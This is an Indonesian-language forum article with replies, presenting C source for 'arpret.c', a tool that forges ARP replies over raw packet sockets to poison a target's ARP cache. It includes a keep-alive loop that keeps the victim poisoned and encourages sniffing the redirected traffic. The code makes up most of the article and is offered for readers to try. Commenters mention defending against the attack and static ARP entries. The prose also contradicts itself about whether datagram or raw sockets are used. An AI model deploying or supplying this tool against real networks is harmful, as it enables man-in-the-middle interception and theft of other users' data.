Follow us on...
Follow us on G+ Follow us on Twitter Follow us on Facebook Watch us on YouTube
Register
Results 1 to 8 of 8
  1. Evil Troops's Avatar
    Status
    Offline
    Member Array
    Join Date
    Feb 2010
    Location
    Jogjakarta
    Posts
    106
    Reviews
    Read 0 Reviews
    Downloads
    0
    Uploads
    0
    Feedback Score
    1 (100%)

    Jump to Comments

    Socket Programming untuk ARP Poisoning

    7 Comments by Evil Troops Published on 17-07-2010 16:32
    Socket Programming adalah protokol yang mempunyai metode untuk membuat koneksi antar antara perangkat dalam jaringan. Terdapat dua tipe socket yang paling sering digunakan yaitu “Stream Socket” dan “Datagram Socket” yang lebih dikenal dengan “SOCK_STREAM” and “SOCK_DGRAM”. Datagram Socket disebut dengan “Connectionless socket” sedangkan Stream Socket lebih reliable dibandingkan Datagram Socket karena terciptanya komunikasi dua arah yang memungkinkan kecilnya data error pada saat transmisi data.

    Hati-hati ye,, Socket !, Bukan yang lain,,!?!.. Berikut ini adalah script arpret.c yang ane rakit jungkar balik untuk ARP Poisoning dengan menggunakan pustaka socket :

    #include "arpreply.h"

    void usage() {

    printf("[+] arpret -i -s -S -D -k -f\n\n");
    printf("[+] -f untuk memperbaiki MAC address\n");
    printf("[+] -k2 untuk membuat host tetap teracuni selama proses (arp/2 sec)\n");
    exit(0);
    }

    void signalHandler(int signal) {
    int bytes_sent = 0; char date[64];

    if(fix_arp == 0 || fixing_mac == NULL) { printf("[+] PERHATIAN .. MAC address host belum kembali seperti semula!!\n"); exit(0); }

    printf("[+] FIXING HOST(S) WITH: %s\n", fixing_mac);

    printf("[*] Sending arp reply (FIX)...\n");
    bytes_sent = sendReply(iface, master_src_ip, fixing_mac, master_dest_ip, master_dest_mac);

    if (bytes_sent <= 0)
    {
    printf("[-] Unable to send reply!\n");
    goto cleanup;
    }
    printf("[*] Sent %d bytes (FIX).\n", bytes_sent);

    cleanup:
    exit(0);
    }

    int main(int argc, char **argv) {
    int bytes_sent = 0; int err = 0; int sock = 0; int ksec = 1000;
    int is_keep_alive = 0; int ok_count = 0;
    time_t prev_time; time_t now_time; time_t raw_t;
    struct tm *timeinfo;

    char date[64];
    char *src_ip = NULL; char *dest_ip = NULL;
    char *src_mac = NULL; char *dest_mac = NULL;

    if(getuid()) { printf("[-] Harus menggunakan akun Root.\n"); return -1; }

    time(&prev_time); time(&now_time);
    printf("[+] Penggunaan\n");

    opterr = 0; int option = 1;

    while((option = getopt(argc, argv, "i:vs:S:dClick here to enlarge:k:f:?")) != -1 ) {
    switch(option) {
    case 'i':

    iface = optarg;
    printf("[+] Using: %s ", iface);

    if(if_nametoindex(iface) == 0) { printf(" => NOT GOOD!\n"); goto cleanup; }
    printf("OK.\n"); ok_count++;

    break;
    case 's':
    master_src_ip = optarg; ok_count++;
    printf("[+] Source IP: %s\n", master_src_ip);
    break;
    case 'S':
    master_src_mac = optarg; ok_count++;
    printf("[+] Source MAC: %s\n", master_src_mac);
    break;
    case 'd':
    master_dest_ip = optarg; ok_count++;
    printf("[+] Dest IP: %s\n", master_dest_ip);
    break;
    case 'D':
    master_dest_mac = optarg; ok_count++;
    printf("[+] Dest MAC: %s\n", master_dest_mac);
    break;
    case 'k':
    ksec = atoi(optarg); is_keep_alive = 1;
    printf("[+] Keep-alive set at %d (seconds).\n", ksec);
    break;
    case 'v':
    is_verbose = 1;
    printf("[+] Vebosity is ON\n");
    break;
    case 'f':
    fixing_mac = optarg; fix_arp = 1;
    printf("[+] FIX (%s) is set to %d (0=OFF, 1=ON(Default))\n", fixing_mac, fix_arp);
    break;
    }

    }
    if(ok_count < 5) { usage(); }

    if(is_verbose == 1) { printf("[+] Configuration ok\n"); }

    if(fix_arp != 0 && signal(SIGINT, signalHandler) == SIG_IGN) {
    printf("[+] Signal handlers are attached..\n");
    signal (SIGINT, SIG_IGN);
    }

    if(is_verbose == 1) { printf("[+] Beginning attack now.\n"); }

    if(is_keep_alive == 1) {
    while(1) {
    time(&raw_t);
    timeinfo = localtime(&raw_t);
    memset(date, 0x0, 64);
    strftime(date, 63, "%c", timeinfo);

    printf("[*] (%s) Sending arp reply...\n", date);
    bytes_sent = sendReply(iface, master_src_ip, master_src_mac, master_dest_ip, master_dest_mac);
    if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); goto cleanup; }
    printf("[*] (%s) Sent %d bytes.\n", date, bytes_sent);
    sleep(ksec);
    }

    } else {
    printf("[*] (%s) Sending arp reply....\n", date);
    bytes_sent = sendReply(iface, master_src_ip, master_src_mac, master_dest_ip, master_dest_mac);
    if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); goto cleanup; }
    printf("[*] (%s) Sent %d bytes.\n", date, bytes_sent);
    }

    cleanup:
    close(sock);
    return 0;
    }

    int sendReply(char *iface, char *src_ip, char *src_mac, char *dest_ip, char *dest_mac) {
    int bytes_sent = 0; int err = 0; int sock = 0; int ksec = 1000;
    int is_verbose = 0; int iface_num = 0;
    time_t prev_time; time_t now_time; time_t raw_t;
    struct tm *timeinfo;
    struct sockaddr_ll sa;
    struct ethernet_header eth_hdr;
    struct arp_header arp_hdr;

    char date[64];
    iface_num = if_nametoindex(iface);
    if(iface_num == 0) { printf("[-] IFACE %s IS REPORTED DOWN -> trying anyway.!\n", iface); }

    memset((void *)&eth_hdr, 0x0, sizeof(struct ethernet_header));
    memset(&arp_hdr, 0x0, sizeof(struct arp_header));

    sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0) { printf("[-] Unable to open a socket!?\n"); return -1; }

    sa.sll_family = AF_PACKET;
    sa.sll_protocol = htons(ETH_P_IP);

    sa.sll_ifindex = iface_num;
    sa.sll_hatype = ARPHRD_ETHER;
    sa.sll_pkttype = 0x01;
    sa.sll_halen = ETH_ALEN;

    eth_hdr.proto = htons(0x0806);
    arp_hdr.hdw_type = htons(0x0001);
    arp_hdr.proto = htons(0x0800);
    arp_hdr.hdw_size = 0x06;
    arp_hdr.proto_size = 0x04;
    arp_hdr.opcode = htons(0x02);

    memcpy(&eth_hdr.d_mac, ether_aton(dest_mac), 6);
    memcpy(&eth_hdr.s_mac, ether_aton(src_mac), 6);

    memcpy(&arp_hdr.mac_saddr, (unsigned char *)ether_aton(src_mac), 6);
    *(unsigned long *) arp_hdr.saddr = inet_addr(src_ip);

    memcpy(&arp_hdr.mac_daddr, (unsigned char *)ether_aton(dest_mac), 6);
    *(unsigned long *) arp_hdr.daddr = inet_addr(dest_ip);

    if(is_verbose ==1 ) { printf("[+] Buliding payload...\n"); }
    memcpy(packet, &eth_hdr, sizeof(struct ethernet_header));
    memcpy(packet+sizeof(struct ethernet_header), &arp_hdr, sizeof(struct arp_header));

    int len = sizeof(struct ethernet_header) + sizeof(struct arp_header);

    if(is_verbose == 1) { printf("[+] Sending now.\n"); }
    bytes_sent = sendto(sock, packet, len, 0, (struct sockaddr*) &sa, sizeof(sa));
    if (bytes_sent <= 0) { printf("[-] Unable to send reply!\n"); return -1; }
    if(is_verbose == 1) { printf("[+] SENT\n"); }

    cleanup:
    return bytes_sent;
    }
    Skrip arpret.c dibuat dengan menggunakan tipe Datagram Socket. Datagram socket juga menggunakan IP untuk routing paket, tapi tidak menggunakan TCP tapi menggunakan “User Datagram Protocol atau “UDP”.
    Pada Datagram Socket tidak bisa menjaga koneksi secara terus-menerus, Data Socket hanya membangun paket, tentukan IP header berikut dengan informasi tujuan, dan kirim paket tanpa membuat koneksi seperti pada TCP. Biasanya Datagram Socket biasa digunakan pada aplikasi tftp (versi pertama dari FTP), dhcpd atau dhcp client, multiplayer games, streaming audio, video conferencing, dan lain-lain. Skrip arpret.c merupakan implementasi dari socket programming pada sistem operasi UNIX, BSD, dan keluarga Linux.


    Skrip arpret.c adalah alat bantu untuk membuat sebuah arp reply palsu (fake arp reply) kepada komputer target, dengan tujuan mengelabuhi arp cache pada komputer korban agar setiap paket yang masuk dan keluar ke komputer target bisa peneliti alihkan terlebih dahulu ke komputer kita. Pada saat ini skrip arpret.c hanya bisa di jalankan di sistem operasi unix, BSD, dan keluarga Linux.


    Skrip ini tidak menggunakan dua tipe “SOCK_STREAM” and “SOCK_DGRAM” tapi menggunakan tipe “SOCK_RAW”. SOCK_RAW dipilih karena peneliti bisa menentukan sendiri isi header paket seperti Ethernet, IP, TCP dan lain-lain. Lalu meng-injeksi paket dengan header yang sudah dimodifikasi lalu mengirimkannya ke tujuan selain itu SOCK_RAW mendukung packet filtering. PF_PACKET adalah software interface untuk mengirim atau menerima paket data pada lapisan 2 dari OSI, dan setiap paket yang sudah dimodifikasi headernya langsung dikirimkan. Skrip ini bekerja pada PF_PACKET interface untuk menciptakan raw sockets dan menggunakan protokol ETH_P_ALL untuk IP network. Implementasinya berada pada skrip arpret.c baris
    sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    biar lebih jelas ane kasih gambarannya pake flowchart :

    HTML Code:
    http://logsmylife.files.wordpress.co.../flowchart.png
    Program arpret.c sukses mengirim arp reply palsu hanya dalam satu kali pengiriman, tapi terdapat masalah dalam skrip tersebut yaitu pengiriman arp reply secara simultan. Opsi -k2 adalah mengharuskan program tersebut terus-menerus mengirim arp reply. Karena setiap sistem operasi akan memperbaharui arp cache setiap jangka waktu tertentu sesuai sistem operasi. Nah saat cache arp pada komputer korban,, ente sekalian bisa menangkap aliran data yang lewat dikomputer juragan, diintip-intiplah pake ape gitu,, semacam sniffer,, masa kaga tau dah.. wkakak..

    HTML Code:
    http://logsmylife.wordpress.com/2010...arp-poisoning/
    selamat mencoba yah agan..!! Click here to enlarge
    klo anda cendol..boleh dong..tpi klo ada es campur juga kagak nolak..

  2. Total Comments 7

    Comments

  3. #2
    Status
    Offline
    oktama's Avatar
    Forum Guru
    Join Date
    Jul 2008
    Location
    Jayapura
    Posts
    1,929
    Reviews
    Read 0 Reviews
    Downloads
    0
    Uploads
    0
    Feedback Score
    0
    weeew disini lg sibuk2 berantas ARP poisoning nih malah ditunjukin Click here to enlarge

  4. #3
    Status
    Offline
    manggatal's Avatar
    Newbie
    Join Date
    Apr 2008
    Posts
    69
    Reviews
    Read 0 Reviews
    Downloads
    0
    Uploads
    0
    Feedback Score
    0
    sadiss,,, sukurlah baru di keluarga bsd, sama linux si arpet ini bisa jalan kalo gak Click here to enlarge bisa runyam warnetnya Click here to enlarge(

  5. #4
    Status
    Offline
    Evil Troops's Avatar
    Member
    Join Date
    Feb 2010
    Location
    Jogjakarta
    Posts
    106
    Reviews
    Read 0 Reviews
    Downloads
    0
    Uploads
    0
    Feedback Score
    1 (100%)
    Click here to enlarge Originally Posted by oktama Click here to enlarge
    weeew disini lg sibuk2 berantas ARP poisoning nih malah ditunjukin Click here to enlarge
    hihihi...ya maaf gan Click here to enlarge

  6. #5
    Status
    Offline
    Evil Troops's Avatar
    Member
    Join Date
    Feb 2010
    Location
    Jogjakarta
    Posts
    106
    Reviews
    Read 0 Reviews
    Downloads
    0
    Uploads
    0
    Feedback Score
    1 (100%)
    Click here to enlarge Originally Posted by manggatal Click here to enlarge
    sadiss,,, sukurlah baru di keluarga bsd, sama linux si arpet ini bisa jalan kalo gak Click here to enlarge bisa runyam warnetnya Click here to enlarge(
    yakin gan?? coba deh tanya kebenarannya ma ank2 Defcon, ihhh ngerti atuh gan Click here to enlarge

  7. #6
    Status
    Offline
    kuro182's Avatar
    Newbie
    Join Date
    Apr 2010
    Posts
    45
    Reviews
    Read 0 Reviews
    Downloads
    10
    Uploads
    0
    Feedback Score
    0

    Thumbs up

    artikel yang cukup bermanfaat, cukup jelas secara logika bahwa dengan memanfaatkan network layer sudah cukup untuk membangkitkan sebuah socket dengan sebuah protocol yang tidak umum, seperti IS-IS, OSPF, ataupun BGP modeling, metoda ini kebanyakan di pakai untuk sesi exploitasi protocol yang kadang di gunakan sebagai rootkit untuk berkomunikasi dengan rootkit yang lain,sebagai pertahanan dari bug ini adalah membuat arp dari dinamis menjadi statis dan ini adalah PR besar untuk IPv4 terutama para administrator terutama bekerja di ribuan client/day, artikel mu bagus coy Click here to enlarge
    Last edited by kuro182; 20-07-2010 at 00:53.

  8. #7
    Status
    Offline
    oktama's Avatar
    Forum Guru
    Join Date
    Jul 2008
    Location
    Jayapura
    Posts
    1,929
    Reviews
    Read 0 Reviews
    Downloads
    0
    Uploads
    0
    Feedback Score
    0
    Click here to enlarge Originally Posted by kuro182 Click here to enlarge
    artikel yang cukup bermanfaat, cukup jelas secara logika bahwa dengan memanfaatkan network layer sudah cukup untuk membangkitkan sebuah socket dengan sebuah protocol yang tidak umum, seperti IS-IS, OSPF, ataupun BGP modeling, metoda ini kebanyakan di pakai untuk sesi exploitasi protocol yang kadang di gunakan sebagai rootkit untuk berkomunikasi dengan rootkit yang lain,sebagai pertahanan dari bug ini adalah membuat arp dari dinamis menjadi statis dan ini adalah PR besar untuk IPv4 terutama para administrator terutama bekerja di ribuan client/day, artikel mu bagus coy Click here to enlarge
    betul artikel-nya bagus tapi gw yg jadi repot ngatur security jaringannya Click here to enlarge, untung dah beli managable switch Click here to enlarge

  9. #8
    Status
    Offline
    Evil Troops's Avatar
    Member
    Join Date
    Feb 2010
    Location
    Jogjakarta
    Posts
    106
    Reviews
    Read 0 Reviews
    Downloads
    0
    Uploads
    0
    Feedback Score
    1 (100%)
    Click here to enlarge Originally Posted by kuro182 Click here to enlarge
    artikel yang cukup bermanfaat, cukup jelas secara logika bahwa dengan memanfaatkan network layer sudah cukup untuk membangkitkan sebuah socket dengan sebuah protocol yang tidak umum, seperti IS-IS, OSPF, ataupun BGP modeling, metoda ini kebanyakan di pakai untuk sesi exploitasi protocol yang kadang di gunakan sebagai rootkit untuk berkomunikasi dengan rootkit yang lain,sebagai pertahanan dari bug ini adalah membuat arp dari dinamis menjadi statis dan ini adalah PR besar untuk IPv4 terutama para administrator terutama bekerja di ribuan client/day, artikel mu bagus coy Click here to enlarge
    klo bgus, kok ane ga berasa dpt jempol dri agan yach? Click here to enlarge

  10. The Following User Says Thank You to Evil Troops For This Useful Post:


 

 

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Articles

  1. Replies: 9
    Last Post: 03-05-2012, 18:39
  2. Replies: 9
    Last Post: 26-09-2009, 04:42

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •